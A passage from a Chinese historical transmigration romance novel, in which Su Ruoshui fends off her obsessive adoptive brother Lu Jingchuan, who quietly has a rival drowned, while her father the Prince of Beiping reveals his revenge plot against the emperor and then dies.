身怀真龙之气的人不能杀,会惹怒天道,那会破坏国运,带来灾难。国师便为苏锦书改命,改变他的身份、环境、地位、处境。 你说这位国师没有真本事,他算到了真龙之气。 你说这位国师有真本事,却卜算的七零八落。 苏弱水叹息一声,翻身,然后被身后的人吓了一跳。 陆泾川不知何时躺在了她身边,悄无声息跟阴湿恶鬼一样。 明月楼闺房的床铺比之前在宣府小院里的不知道大了多少倍,躺十个苏弱水都够了,也难怪她没有在第一时间发现陆泾川,毕竟不是从前那张窄床,连翻身都嫌小。 陆泾川单手撑着额头,就这样侧躺着看她,也不知道看了多久。 “你怎么在这?”苏弱水压着声音,“你出去,我要睡了。” 陆泾川坐起身,心血来潮地跪到苏弱水脚边,一把攥住她的脚握在掌心,然后盘腿坐在那里将她的双足往怀里塞,“我给阿姐暖脚。” 之前陆泾川还是顾捡的时候,就常常给她暖脚。 苏弱水蹙眉,正欲说话,那边传来珠帘声。 “郡主,今夜奴婢陪您睡吧?” 画屏挑开帷幔,看到苏弱水半撑着身子靠在床头,手里拿着话本子,被褥微微拱起。 “不用了。”苏弱水抬眸看向画屏,脸上擒着僵硬的微笑。 第43章 那小狗听话吗? 屋内只剩床头一盏琉璃灯, 画屏看到自家郡主面色苍白。 “郡主,您怎么了?是不是身体不舒服?奴婢唤医士过来给您看看吧?” “不用了,我没事, 我要睡了。” 苏弱水的胳膊使劲压在被褥上, 面颊泛起绯红。 画屏脸上带着担忧,“那奴婢就睡在外间, 郡主有事唤奴婢。” “不用, 你回去好好歇息。” 好不容易将画屏支走,苏弱水赶紧揭开被褥。 陆泾川抱着她躺在被褥里,仰头看她,表情无辜地绕着她的腰带玩。 得亏冬日里被褥厚实,不然就露馅了。 男人似是心情很好,他蹭着她, “阿姐叫我的名字。” “苏锦书,你赶紧回去……” “不是这个名字。” 苏弱水的表情变得微妙, 她低垂眉眼,“你还有别的名字吗?” 陆泾川勾唇, 屈膝往前爬, 倾身过来,指尖抚过女人卷翘的睫毛,“阿姐不是知道吗?” 苏弱水依旧没有开口。 陆泾川表情含笑, 抚着她睫毛的指尖往下落, 触到女人柔软的唇瓣,下一刻,男人倾身覆过来,含住她的唇,亲得很深。 苏弱水被迫仰头, 她被亲得窒息,唇瓣变成漂亮的艳红色,浸着湿润的水渍。 “阿姐。”陆泾川蹭着她,去解她的衣带。 苏弱水受不了地推他,“你别蹭了,怎么像狗一样……”到处发,情。 “我是阿姐的小狗,汪。” 苏弱水:…… 苏弱水发现有时候自己的脸皮还是太薄了。 她深吸一口气,双手捧住陆泾川的面颊。 自从知道顾捡是陆泾川的身份之后,苏弱水就已经很久没有这样温柔的与他亲近了。 陆泾川双眸微亮,看向苏弱水的眼神都变了。 苏弱水抚着陆泾川的面颊,想起从前自己也会跟顾捡躺在一起,伸出手去摸他的脸,然后想象他的模样。 看到跟摸到真是两个完全不同的概念。 她摸的时候并没有感觉顾捡的鼻子有这么挺,眉骨有这么高。 “那小狗听话吗?”苏弱水说这话的时候脚趾都蜷缩紧了,她觉得尴尬又羞耻,声音也憋在喉咙里,很艰难才吐出来,却偏偏多了几分羞耻意味,显得格外好听。 陆泾川凑过来。 苏弱水下意识捧着他的脸往后靠。 男人半个身体压在她身上,嘴里说着“听话”,实际上眼神偏执的可怕。 “那,那你回你自己的世子府去。”苏弱水偏头不敢看他,只是抬手指了指世子府的方向。 陆泾川偏头,凑过去亲她的指尖。 “你不是说听话吗?”苏弱水迅速缩回自己的手。 “嗯,小狗听不懂人话。”- 苏弱水一觉睡醒,天光大亮,她发现陆泾川依旧没有离开。 她已经习惯了身边有陆泾川存在,即使屋内的炭盆已经熄灭,可他像个火炉似的搂着她,将她热得浑身冒汗。 这大概也算是个好处了,起码她不会因为踢被子,所以感冒。 苏弱水抬手推开男人起身,陆泾川伸出双臂圈过来,将脸贴在她的后背上蹭,将他自己的头发蹭得乱七八糟的,“阿姐。” “你今日无事?” 昨日将北平王府闹得那么厉害,今天陆泾川一定有一大堆事情要处理,比如那些已经被关了一晚上的宾客,还有那个被压在牢里的周宿等等。 “有事。”陆泾川又蹭了蹭苏弱水,这才恋恋不舍的起身,然后走到炭盆边,先是替她添了炭火,才到窗户边,推开窗子,翻身出去,并细心的替苏弱水将窗户阖上。 见陆泾川走了,苏弱水这才重新躺回去睡了一个回笼觉。 周宿是代王之子,代王已经死了一个儿子,就剩下这一个了。 如果这个儿子也死了,那么开封和北平一定会结仇。 按照剧情发展,陆泾川会用周宿作为人质,跟代王索要庞大的物资来平息这件事,因此,陆泾川不会轻易杀掉周宿- 北平王府有一座地牢,这是大家都不太知道的事。 地牢的存在已经很久了,类似于半地下室一样的地方,阴暗潮湿,蛇虫鼠蚁齐聚一窝。 墙壁上挂着陈年污渍,看起来像是干涸的血,在晦暗的灯光下显出一股暗沉的诡异感。 陆泾川提着一盏灯笼,独自抬脚走进去。 他的影子若隐若现地落在石阶上,如同鬼魅一般。 阶梯向下,走出一段路后,才来到那个连窗子都没有的牢房。 牢房实在窄小,地上污秽不堪,气味也非常难闻。 周宿身上还穿着那件红色喜服,他抱着怀里的牌位坐在那里,听到动静,霍然站起来朝前走过来,“我要见弱水。” 他单手握着面前地牢的栏杆,目光灼灼地看向面前的陆泾川。 “带我去见弱水。” “世子爷!”隔壁牢房的赵温怒急叫骂,“你忘记你的大业了吗?” “闭嘴!”周宿朝隔壁吼了一句,随后目光急切地看向陆泾川,“我要跟弱水解释清楚,马车坠崖真的只是意外。” 起码他准备杀的人只有陆泾川一个。 陆泾川微微一笑,“好啊。” 他打开牢房,让周宿出来。 周宿跟在陆泾川身后,头也不回地出去了。 一日未见阳光,周宿下意识眯起眼,他抬手,手腕上的珍珠露了出来。 陆泾川视线一瞥,“世子是怎么认识我阿姐的?” “多年前在扬州,弱水救过我一次。” 周宿自己的身份是他不敢言说的存在,那是他的耻辱,是他往上爬的绊脚石,因此,他只是含糊说了这么一句话。随后,他又抬起自己的手腕,露出上面挂着的两颗珍珠,“这是弱水给我的定情信物。” “哦?”陆泾川单手负于后,身上的黑袍打理的十分干净,长发用红宝石缎带束起,侧颜立体而明艳,这份张扬的艳丽一下就将狼狈的周宿衬托的更加狼狈。 陆泾川的视线从那两颗滚圆的珍珠上略过,随后轻轻一笑,“世子身上脏污,不如先洗一洗身子?” 周宿略一思索,随后道:“也好。” 周宿之所以如此淡定,是因为他笃定陆泾川不会杀自己。 就算他知道是自己做的手脚又能怎么样?他们没有证据。 最重要的是,在众多藩王之中,北平的实力并非最强,代王和晋王才是难啃的骨头。 北平没有这个实力跟代王结仇,周宿知道,最后北平还是要将他送回去。 “我知道小舅子对我有些误会。”周宿慢条斯理整理了一下衣领。 “是嘛。”陆泾川不置可否。 “那两具尸首是小舅子准备的?” 那两具尸首因为高空坠落,所以面部模糊,再加上在水里泡了好几日,捞上来的时候更是无法辨认,只能凭借两人身上的衣物来确认身份。 当时周宿一看到那具穿着素雅裙衫的女尸,面色煞白,他跪在地上死死抱着,任凭赵温如何规劝都无动于衷。 想到这里,周宿抱紧怀中牌位。 “嗯。”陆泾川漫不经心地走在周宿身前,引着他入了世子府,真的带他去沐浴洗漱。 周宿换过一身衣衫,“小舅子,你阿姐呢?” 陆泾川看周宿终于换下那身碍眼的喜服,这才懒懒抬手。 两个暗卫出现在周宿身后,一个掐住他的脖子往浴桶里按,另外一个死死钳制住他的挣扎。 隔着一扇屏风,陆泾川坐在桌边吃茶。 后面的暗卫过来禀告,“主子,没气了。” 陆泾川放下茶盏,起身,绕过屏风走过去,微微歪头看了一会,抬手伸进浴桶里,从里面捞出周宿的胳膊,扯下上面挂着的两颗珍珠。 “周宿的屋子搜了吗?” “搜过了,都是一些日常用品。”顿了顿,那暗卫似想起什么,“还有一幅画。” “什么画?” 暗卫没有说话,陆泾川瞥他一眼。 暗卫从怀里掏出那幅画,展开在陆泾川面前。 是几年前的苏弱水。 周宿素有丹青妙笔之称,画上女子惟妙惟肖。 “呵。”陆泾川的眼神骤然阴冷,他抬手拿过此画,直接扔进炭盆之中。 火舌舔过,画作化为灰烬。 “把尸体给代王送回去,告诉他,代王世子不慎溺水而亡。”- 苏弱水今天眼皮跳得厉害。 听说左眼吉右眼凶。 她伸手抖了抖自己的右眼。 凶兆啊。 秉持着宁可信其有,不可信其无的态度,苏弱水往自己的眼皮上沾了一点点白色布条,让它白跳。 这是老人家用的土法子,如果是以前,苏弱水一定嗤之以鼻,可经历过穿书事件之后,连她自己都忍不住开始神神叨叨。 苏弱水起身时已经到了午时,王妈妈和画屏早就替她准备好了一切,并将今日的食单拿了过来让苏弱水挑选。 苏弱水捏住手里的食单,思绪忍不住发散,她想到昨日见到的那位北平王,看起来比几月前憔悴多了。 主线剧情无法更改。 北平王的死亡无法逃避。 苏弱水的心头突然有些沉重。 她拿着食单起身,“父王用膳了吗?” 王妈妈和画屏对视一眼,“这个时辰,王爷应该还没有。” 苏弱水点头,拿着食单出了门去寻北平王。 她住的明月楼距离北平王住的寝殿有些远,苏弱水慢吞吞走了一段路,然后向画屏一打听,还要再走半个时辰就放弃了,直接让人抬了软轿过来。 北平王正在存心殿内,苏弱水进去的时候,他正坐在轮椅上,盯着墙壁上挂着的宝剑看。 苏弱水知道这柄剑,先帝所赐,他与自己的兄长也就是当今圣人一人一柄。 北平王用这柄剑替自己的兄长护住大周江山,抵御蒙古。 可现在,这柄剑却显得那么刺目。 “父王。”苏弱水低声开口,“我胃口不太好,您陪我用些午膳吧?” 北平王听到苏弱水的声音,骤然回神。 他转动着身下轮椅,目光落到女儿那张与自己极其相似的面容上。 “好。” 苏弱水将手里的食单送到北平王面前。 北平王低头往食单上扫了一眼,却霍然发现自己连女儿喜欢吃什么都不知道。 “挑你喜欢的就好。” 苏弱水点头,挑了一些自己喜欢的菜,然后又兴致勃勃地点了一款食单上没有的拔丝地瓜。 接过食单的小太监苦着脸赶紧去了膳房让找从前那些师傅做。 因为原身跟北平王不亲近,她自己也跟北平王不亲近,所以两人难得单独相处在一个空间内。 沉默,沉默,还是沉默。 “失踪的这段日子里,一直跟你弟弟在一起?”最终,还是北平王率先开了口。 “嗯。”苏弱水点头,低头把玩着北平王这里的茶盏。 比她那里的似乎大一点,上面的图案也更简单些。 “你觉得你阿弟如何?” 苏弱水想了想,“不是一个好人。”说完,她愣了愣。 这句话好耳熟。 她想起来了,就是在这个存心殿,四年前,北平王也问过她同样的一个问题。 难道那个时候陆泾川也在殿内? 原来她真的说过这句话。 “你当时也这样说,我才将他留了下来。”北平王接过苏弱水的话头。 “是因为我?” 北平王点头。 苏弱水自认为自己只是一个无关紧要的炮灰垫脚石,根本就没有想到居然会变成主宰过陆泾川生存还是死亡的人。 原来他是那个时候……爱上她的? 苏弱水垂眸,她总以为陆泾川对她是新鲜。 可现在看来,确实没有那么简单。 只是,她不爱他。 “如果他不是你阿弟,你希望他成为你的什么人?”北平王看着坐在自己身边的女儿,出落的亭亭玉立,虽然长相与他更像,但眉眼之间依旧带着几分北平王妃的影子。 “希望他不是我任何人。” 这是苏弱水心中早就想好的答案。 北平王沉默下来,他端起面前茶碗轻抿一口,“好,父王知道了。”- 苏弱水与北平王一道用完午膳之后就回明月楼了。 她推开屋门,没想到陆泾川已经在屋子里等着她了。 “阿姐。”男人缠上来,“我想给阿姐画一幅画。” 为什么会心血来潮的有这个想法? 苏弱水神色疑惑地看着陆泾川。 “阿姐坐这里。” 苏弱水被陆泾川按着在长榻上坐下。 “阿姐还是躺下吧。” 苏弱水又被摆弄着躺下。 “你没事做吗?” 怎么一直在她眼皮子底下晃悠? “做完了。” 这么快? “周宿呢?” “他啊,”陆泾川听到苏弱水提起周宿的名字,研墨的动作顿了顿,抬眸微笑道:“死了。” 苏弱水瞪大了眼坐起来,“怎么会死的?” 不应该啊,周宿不应该会死啊。 “落水溺亡了。”陆泾川继续慢条斯理的研墨,“阿姐心疼了?” “不是,只是觉得有些古怪。”苏弱水蹙眉兀自出神。 听到苏弱水的回答,陆泾川收紧的手臂放松下来,他将研好的墨端过去,然后搬了一张书案坐在苏弱水对面,摊开白纸,开始作画。 见陆泾川真要作画,苏弱水有些不自在地动了动。 男人的视线落在她身上,从头到脚,从头发丝到脚底板,一丝一毫都不放过。 那种炙热到如同身体被狠狠舔舐了一遍的眼神,令苏弱水下意识偏过了头。 “阿姐,把头转过来。” 苏弱水僵硬了一会,才缓慢把头转过去。 只是她依旧没有把眉眼抬起来。 陆泾川也不再说话,专心致志地画画。 苏弱水躺累了,不知不觉闭上了眼。 等她一觉睡醒,就发现陆泾川不知道去哪了,只她面前的书案上留着一幅画。 画中的她眉眼半阖躺在那里,青丝如瀑,面容冷寂,只是似乎有哪里不对劲。 屋门被人打开,陆泾川从外面进来,他手里拿着一小盒东西。 “阿姐醒了。”陆泾川走过去,将苏弱水圈在怀里,然后打开手里的小盒,露出里面的朱砂。 陆泾川拿起毛笔沾上一点朱砂,轻轻点在画中美人额间。 原来是少了这一点朱砂痣。 黑白泼墨的美人图,唯独额间朱砂惑人。 而在点了这一点朱砂之后,苏弱水竟觉得画中美人像是有了几分灵气一般似要活过来。 “可惜,只画出阿姐三分神韵。” 陆泾川贴着苏弱水的耳朵说话。 苏弱水道:“已经画得很好看了。” “是嘛,那阿姐要奖励我吗?” 苏弱水心中警铃大作,“又不是我要你画的?” 陆泾川轻吻她的耳垂,叼住她的珍珠耳坠轻轻拉扯。 苏弱水感觉到细微的疼痛,下一刻,那只珍珠耳坠子就被陆泾川给咬了下来。 他叼着苏弱水的耳坠子低头看她,然后又用另外一只手去捻她的耳垂,含糊不清道:“好嫉妒啊,阿姐。” “我也想要珍珠。” 第44章 阿姐,爱我好不好? 男人俯身低头看她, 嘴里叼着那颗圆润光滑的小珍珠。 那是一只用一根细小的链子挂着的珍珠耳坠,陆泾川咬着链子,那颗珍珠就抵在他的唇上。 苏弱水只剩下另外一边的珍珠耳坠。 男人的指尖在她的耳坠上轻轻揉捏, 揉得苏弱水浑身一抖, 偏头躲他。“你要就给你。” 苏弱水抬手取下珍珠耳坠递给他。 陆泾川捏着手里的珍珠耳坠,看着苏弱水光秃秃的耳垂, 上面有两个很小的耳洞, 微微泛着红。 “我打仗时给阿姐寄回来的那些东西,阿姐都用了吗?” 陆泾川寄回来的东西太多了,苏弱水一概让画屏扔在了仓库了。 她心虚地点头,“用了。” 细长的眼睫覆着男人漆黑的眼,陆泾川握着手里的珍珠耳坠,“那我怎么一件都没有看到。” 苏弱水强装镇定, “你送了那么多东西过来,你难道每一件都记得?” “嗯, 记得。送给阿姐的东西,我每一件都记得。”陆泾川伸手环住她, 并没有继续“兴师问罪”, 而是撒娇道:“我送了阿姐那么多礼物,阿姐也送我一样,好不好?” “你想要什么?”苏弱水已经习惯陆泾川的搂搂抱抱。 她想, 习惯真是一个可怕的东西啊。 陆泾川的视线从苏弱水身上移开, 慢吞吞在屋子里转了一圈。 苏弱水跟着他看。 她的屋子里摆满了各种风雅之物,都是原身喜欢的东西。 窗下是书砚,书架子上堆了满满的佛经,绿色的窗纱透出一股清冷文雅之气,墙上挂着名家大作, 苏弱水也不认识。 不过因为苏弱水的喜好跟原身相差很大,所以这间屋子里也逐渐融入了很多她自己的风格。 初时佛香萦绕,雪洞一般堆满佛经的屋子如今堆满了装着佛经门面的话本子,梳妆台上多了许多颜色明丽的首饰,桌子上也一直备着糕点果子,还有不断换着花样的各色奶茶。 陆泾川走到苏弱水的梳妆台前,拿起这个看看,又拿起那个看看,似乎是没有满意的。 “我不要这些。” “那你要什么?” “阿姐陪我出去挑。” 苏弱水还没反应过来,就被陆泾川拉着出门了。 他牵着苏弱水的手,心情极好的将她抱上马车。 夜色已黑,北平王的夜市却刚刚开始。 两人坐着马车出去,还没有用晚膳的苏弱水嗅到食物的香气。 “阿姐要先用晚膳吗?想吃什么?” 苏弱水属于小鸟胃猪瘾。 她想吃的东西挺多的。 最后,苏弱水挑了附近一家烤鸭店。 烤鸭店的生意很好,陆泾川加钱要了一个包厢,两人坐到二楼包厢里。 苏弱水看着菜单点了一个招牌烤鸭,然后又点了一份应季的豌豆黄,再点一些配菜比如干炸丸子,糖醋鲤鱼,香椿炒鸡蛋,最后再加一份甜品桃花酥。 北平的烤鸭是最出名的,尤其是这家。 苏弱水之前有一段时间常常带着画屏和王妈妈过来吃,那段日子三人都胖了好几斤,连带着苏弱水的新衣都宽了几分。 这家烤鸭现杀现烤,用的果木炭,烤出来的鸭子有一股果木炭火清香。 烤鸭上的很快,苏弱水确实有些饿了。 她洗净双手,取了一片荷叶饼摊开,然后放入还在滋滋冒油的烤鸭肉,再搭配上酱料、葱丝等物,包好之后往嘴里塞。 陆泾川单手撑着下颚坐在那里看苏弱水吃。 “你不吃吗?” “我还不饿。” 苏弱水没有管他,继续又吃了一点烤鸭,然后另外吃了几口菜,吃不下了,才看到陆泾川慢吞吞地拿起筷子吃了起来。 陆泾川吃饭的速度很快,他一下将所有盘子打扫干净。 其实苏弱水注意陆泾川这个习惯很久了,他似乎总是喜欢等她先吃。当然,也不是没有两个人一起用膳的时候,只是很少。 陆泾川舔了舔唇,“我是个奴隶,从小吃东西都是要抢的,抢不到就会挨饿。”说完,男人伸出指腹替苏弱水擦了擦她唇角的烤鸭酱,“阿姐慌什么,不是早就知道了吗?我不是你亲弟弟这件事。我知道的,阿姐从未信过我是苏锦书。” 男人的眼瞳是极深的黑,可望向她的眼神却很亮。 苏弱水偏头,沉默,没有正面回答。 陆泾川也不急,他再次握住苏弱水的手。 他们有很长的时间来培养感情- 用过晚膳,苏弱水被陆泾川牵着在大街上消食。 两人走走停停,直到苏弱水被陆泾川带进聚珍阁。 这是北平城内最大的首饰坊。 聚珍阁以价格昂贵,品质上佳著称,因此来这里的人非富即贵。 苏弱水以前也没有少来,因此掌柜的一眼就看到她了,赶紧殷勤上前接待。 “郡主,世子爷。这个月咱们聚珍阁新来了一批好东西,您要不要看看?” 苏弱水点头,掌柜的便赶紧将人往楼上包厢里带。 包厢内有人上了茶水点心,苏弱水坐在玫瑰椅上,看着聚珍阁的员工手捧托盘,站在她面前展示,里面摆放着一件又一件珍贵首饰。 苏弱水被吸引了目光,她给自己要了一对梅花耳坠,然后一转头看到盯着她看的陆泾川。 看什么? “阿姐给我买。” “你要什么?” 苏弱水顺着陆泾川的手指方向看去,那是一对红宝石耳坠。 “世子眼光真好,这对红宝石耳坠太适合郡主了。” 苏弱水拿起其中一只红宝石耳坠,然后朝陆泾川招手。 陆泾川从玫瑰椅上起身,一步跨到苏弱水面前,然后双手背在身后,乖巧朝她的方向弯腰。 苏弱水将耳坠子往他耳垂上比划了一下。 陆泾川真的太适合红色了。 可惜他似乎更爱深色衣物,常穿玄色。 苏弱水还记得少年时期的陆泾川,王妈妈按照自己的喜好给他打扮的跟个小贵公子一样,穿着宝蓝袍子,阳光灿烂的。 虽然只是假象,但看起来可比现在乖巧多了。 苏弱水突然想起自己曾经跟顾捡成亲的时候,他是不是也穿过一身红?可惜她那个时候眼睛看不见。 “嗯?”苏弱水突然发现了不对,她捏着陆泾川的耳垂仔细观察了一下,然后得出结论,“你没有耳洞。” 陆泾川的耳垂上并没有耳洞痕迹。 “阿姐给我扎。”陆泾川贴着她,不肯放弃这对红宝石耳坠。 他甚至已经将其中一只戴到了苏弱水的耳垂上。 苏弱水常穿素雅淡色,一方面是原身形象气质更适合这样的颜色氛围,另外一方面是她自己也比较喜欢简单一点的款式。 当然,首饰之类的会丰富些。 只是她还没有戴过颜色这么红的红宝石。 跟鸽子血一样。 掌柜的赶紧端起靶镜给苏弱水看。 苏弱水照着靶镜侧头,漂亮的红宝石在她白皙的脖颈间划出一道漂亮的红色弧线。 这宝石实在是太红了,像是要滴出血来似得。 “世子爷的眼光实在是好,像这样品种的红宝石,除了咱们这,就只有宫里头才有了。” “嗯,记账。”苏弱水点了点头,替陆泾川买下了这对红宝石耳坠。 在银钱方面,北平王是从来不会苛待她的。 只是跟顾捡经历过一段贫穷的日子后,苏弱水还是没忍住问了一句,“多少银子?” 掌柜的一愣,这位郡主什么时候关心过价钱? “三百两。” 苏弱水倒吸一口凉气。 她要写多少稿子才能把这些钱赚回来? 最关键的是这钱还不是花在她自己身上的。 “要不我们换一样?”苏弱水小声跟陆泾川商量。 “我就要这个。” 苏弱水莫名觉得陆泾川现在像个撒泼打滚的小孩。 你难道不记得我们卑微贫穷的日子了吗? 好吧,卑微贫穷的只有她一个人。 最终,苏弱水还是忍痛买下了这对红宝石耳坠,然后跟陆泾川一道回了北平王府。 “你跟着我干什么?” 苏弱水回明月楼,陆泾川却不回他的世子府,比她还熟练的走进她的明月楼内。 画屏见苏弱水和陆泾川回来,赶紧给两人一人一杯冲泡了蜂蜜水,然后被苏弱水斜楞了一眼。 画屏不解。 “阿姐给我扎耳洞。”陆泾川吃了一口蜂蜜水,便蹲到苏弱水身边,他双手搭在她的膝盖上,仰头看她。 像一只大型犬在撒娇卖萌。 可苏弱水知道,即使这只犬看起来再如何可爱,也无法掩盖它的凶残。 它随时会龇牙,然后恶狠狠地咬她一口。 苏弱水没有给人扎过耳洞,她猜王妈妈和画屏应该比她更熟练,她记得以前看到过画屏给小丫鬟扎过耳洞。 “我让画屏帮你。” “不要。”男人皱眉,脸上显出明显的不愿意。 苏弱水想起陆泾川的臭毛病,不喜欢别人碰。 那他怎么老喜欢黏着她? “我不会弄,把你弄疼了怎么办?” “那阿姐亲亲我就不疼了。” 苏弱水:……- 古代扎耳洞的方法比较多,画屏比较擅长的是用消毒过后的银针或者金针蘸取香油进行快速穿刺。 画屏替苏弱水将东西都准备好了,然后又细细向她教授穿针技巧。 “郡主莫怕,用胭脂在耳垂上点上一点红定位之后,照着这一点红扎过去就好了。” 苏弱水听得很认真。 陆泾川坐在圆凳上,一边摆弄银针,一边摆弄胭脂。 对于一个上过战场的人来说,自然不会惧怕这根小小的银针。 因此,反而紧张的人是苏弱水。 她没有给人穿过耳洞。 苏弱水伸出手轻轻捏了捏陆泾川的耳垂,薄薄一片却肉感十足。 画屏已经将银针消毒完毕递给苏弱水。 苏弱水看着陆泾川耳垂上自己刚刚点上去的用来定点的胭脂,紧张地咽了咽口水,努力平复心情。 想点事情来分散一下注意力吧。 苏弱水放纵了一下自己,她想到刚才吃的烤鸭味道不错,买的梅花耳坠也好看,红宝石耳坠实在是太贵了……苏弱水思绪跳跃,又想到宣府,想到顾捡,想到陆泾川对她做的那些恶行。 苏弱水睁开眼,手起银针落,一鼓作气直接给陆泾川的耳垂来了一个对穿。 “嘶……”男人轻轻咬牙,发出声音。 苏弱水甚至觉得意犹未尽。 “你还有一个耳朵。” “不用了,阿姐,我戴一个就好了。” “没关系的,我帮你。” 陆泾川的两边都被苏弱水扎好了耳洞,她捏着手里的针,眼神还在蠢蠢欲动,对着陆泾川的身体上下扫射。 她听说很多人还会往身上打洞,不知道这根小银针行不行。 额头?嘴唇?鼻子?还是舌头? “阿姐,”陆泾川捏着自己的耳垂,“你现在看起来有点可怕。” 因为刚刚扎好耳洞,所以陆泾川还不能直接戴耳坠子,他用细小的金针代替,抬头看她的时候,耳垂上两抹鎏金色异常明显,给他艳丽的容貌增添了几分精致贵气。 晚上睡觉,苏弱水做了一个梦。 她梦到自己把陆泾川扎成了刺猬,陆泾川趴在地上呜呜咽咽的哭。 苏弱水被爽醒了,然后正对上一双熟悉的黑色眼眸。 “阿姐。” 陆泾川倾身过来亲她。 苏弱水一时间还没从睡梦之中醒过来,她伸手摸了摸陆泾川的脑袋。 没有刺,头发还挺软的。 陆泾川一愣,没亲下去。 他盯着面前的苏弱水,缓慢将头靠在了她的颈项侧。 “阿姐,再摸摸我。” 苏弱水却是彻底醒了,她将手从陆泾川的头上拿了下来。 陆泾川躺在那里,抿唇,将脸更加埋进女人脖颈间。 陆泾川没有再说话,直到苏弱水被睡意纠缠,马上就要睡过去的时候,才听到他的低声呢喃,“阿姐,爱我好不好?”- 最近苏弱水常去与北平王一道用膳,这样反而避开了陆泾川,因此,苏弱水去北平王那里去的更勤快了。 北平王跟苏弱水的口味相差还是挺大的。 苏弱水是个南方胃,北平王是个北方胃,两人每次用膳都是各摆半桌。 苏弱水用完午膳,漱了口,净了手,捧着奶茶坐在那里喝,她突然感觉到有一股视线落在她脸上。 “父王,怎么了?” 虽然苏弱水跟北平王一起用膳多日,但两人的交流其实并不算多。 北平王端起面前的茶盏,哑声开口,“你该知道,他不是你弟弟吧?” 苏弱水沉默了一会,然后点头。 “他成长的太快了。”北平王这几日终于空出手来着手调查陆泾川,他万万没想到,陆泾川不止于表面那般仅仅掌握一支铁骑,他还豢养了许多暗卫和眼线。 最恐怖的是,他在北平地下挖了一座城。 一座军事基地。 如果是以前的北平王发现这件事,一定会阻止他,可现在的北平王望着那柄挂在墙上的宝剑,嘴角却只是露出讽刺的笑。 他将陆泾川养成,变成一柄锋利的剑,刺向皇城,怎么不算是一种复仇呢? 只是他的女儿,他实在亏欠太多。 他半生活在仇恨里,甚至是靠着这股仇恨活到了现在。 “原本此事我不该告诉你,可天下即将大乱……弱水,锦书的事情并非偶然,而是有人蓄意为之,只是那人站得太高,我够不着,我等了十几年,终于等到现在。” 苏弱水的脸上显出震惊之色。 她听出了北平王的意思。 苏弱水一直以为北平王不知道这件事,甚至原著中描写到陆泾川在他面前揭穿圣人的真面目时,这位王爷还在悲恸兄弟之情。 难道北平王一直都知道? 他让陆泾川留下来,帮助他成长,甚至他将自己的死亡都算计进去了,只是为了杀死那个坐在皇位上的人。 那么,在“陆泾川坠崖死亡”之后,北平王同意周宿跟北平郡主的牌位成亲,也不是单纯的为了弥补女儿,而是在培养另外一条毒蛇,一条能将圣人缠绕致死的毒蛇。 原著小说中并未提及这件事。 苏弱水恍惚了一阵,才想到有暗线这种写法。 藏在高潮迭起,反转不断的剧情之下,需要细细剖析才能找到的一条线。 陆泾川的野心,是北平王故意放大的,他需要一个人来接替他残破的身体继续复仇。 苏弱水终于明白为什么北平王会与原身如此冷淡,他的心被复仇的愤怒所覆盖。 这股怒火太旺盛了,旺盛到能燃烧一切理智。 远离原身,是为了保护原身不被这股愤怒一齐烧毁。 北平王的克制、远离、冷淡突然变得有迹可循。 他是故意的。 他想要原身能一个人活着。 可惜,人的谋算终归抵不过人心的渴望。 原身竭力想要的却只是一份亲情温暖。 “当初我以为你死了,看到了你的笔记之后……”北平王语气突然一顿,“周宿虽然不是一个好人,但他对你是真心的。我若想要将北平兵权交给他,也不必多此一举来举办这场阴婚。” 北平王不是一个擅长说话的人,他说话的时候会突然断句,似乎是在思考该如何解释这件事。 “我懂的,父王。”苏弱水点头,“我没有怪你。” 起码原身是不会怪北平王的。 北平王抬眸看她,他瘦了很多,曾经伟岸高壮的身躯被仇恨和病魔吞噬,现在被死亡笼罩了一半。 北平王的生命即将结束,可他的复仇刚刚开始。 “弱水,父王已经安排好了一切,往后的局势会比现在还要危险,”说到这里,北平王顿了顿,他的语气变得柔和,“如果让你选择,你想要怎样的生活?” 短短一月时间,藩王接连出事,齐王被关押于金陵城的地牢里不见天日,明王被贬为庶人流放岭南,湘王闭门自焚而亡。 苏弱水虽然没有怎么出府,但外面的情况确实不容客观,就连陆泾川这几日都忙了起来,不再日日黏在她身边了。 苏弱水低头,想了很久,还是上次那个回答,“我想离开陆泾川。”- 苏弱水从北平王那里回来的时候,陆泾川还没回府。 她梳洗完毕入睡,睡到半夜的时候突然感觉脸上有什么东西在爬。 酥酥麻麻的。 苏弱水猛地一下睁眼,对上一只摇晃的红宝石耳坠。 床头置着一盏小夜灯,是漂亮的琉璃灯。 苏弱水借着灯色,视线上移,看到陆泾川那张脸。 “阿姐。” 三更半夜,男人大概是刚刚沐浴完毕,身上带着湿漉的皂角香气,凑过去亲她。 即使陆泾川已经洗过,苏弱水还是能嗅到他身上的血腥味。 苏弱水盯着他,缓慢抬起手,摸了摸他的眼睫。 男人眨了眨眼,眼睫扫过苏弱水的指尖,小扇子一样。 他趁机凑近,“阿姐,耳洞好疼,阿姐,亲亲我。” 第45章 你是谁?我阿姐呢? 陆泾川已经戴上了那对红宝石耳坠。 细长的链子坠着红色宝石, 从苏弱水的面颊上划过时带上了冰冷的温度,让她忍不住往后躲了躲。 男人的唇追上来,咬着她的唇瓣轻轻啃噬。 苏弱水半睁开眼, 睡意逐渐消散。 她伸手揽住陆泾川的脖颈。 这是女人难得的主动, 男人的双眸亮了起来。 苏弱水偏头,在陆泾川的耳垂上亲了一口- 北平王去世的消息传来时, 苏弱水还未起身, 昨夜陆泾川闹她闹得有些晚,男人精力充沛,根本没睡一会就起身出府去了外头,留下苏弱水一个低精力人群躺在那里补觉。 王妈妈跌跌撞撞地冲进来,眼眶泛红,拉开床帐。 苏弱水被王妈妈的呜咽声吵醒, 她睁开眼,嗓音含糊, “怎么了?” 王妈妈伸手捂着嘴,“王爷, 薨了。” 苏弱水一瞬清醒。 昨日两人还好好地坐在一处用膳, 苏弱水甚至看着北平王精神气比平日都好多了。 平常北平王只能用半碗米饭,那日里却用了整整两碗,她以为他不会那么快就去的, 没想到是……回光返照。 苏弱水揪紧身上被褥, 她缓慢坐起来,跟王妈妈道:“替我准备一下。”- 府中内外挂起了白绫,北平王府门口的红色灯笼也换成了白色,上面是大大的黑色“奠”字。 苏弱水穿上丧服,看着身边的人忙忙碌碌准备丧礼。 她来到北平王的寝殿, 那位王爷就那样躺在那里,身上穿着得体的衣物,安静地彷佛睡着了一样。 苏弱水上前,站在床边。 她触到北平王的手,肌肤很冷,像冬日里凝结在水面上的冰,没有温度,透出一股失去生气的黏腻感。 一只手从旁边伸出来,一把握住苏弱水的手腕,将她往自己怀里拉。 苏弱水抬头,看到急匆匆赶回来的陆泾川,身上还穿着武服。武服被汗水湿透,他喘着气,将苏弱水的头往自己怀里按。 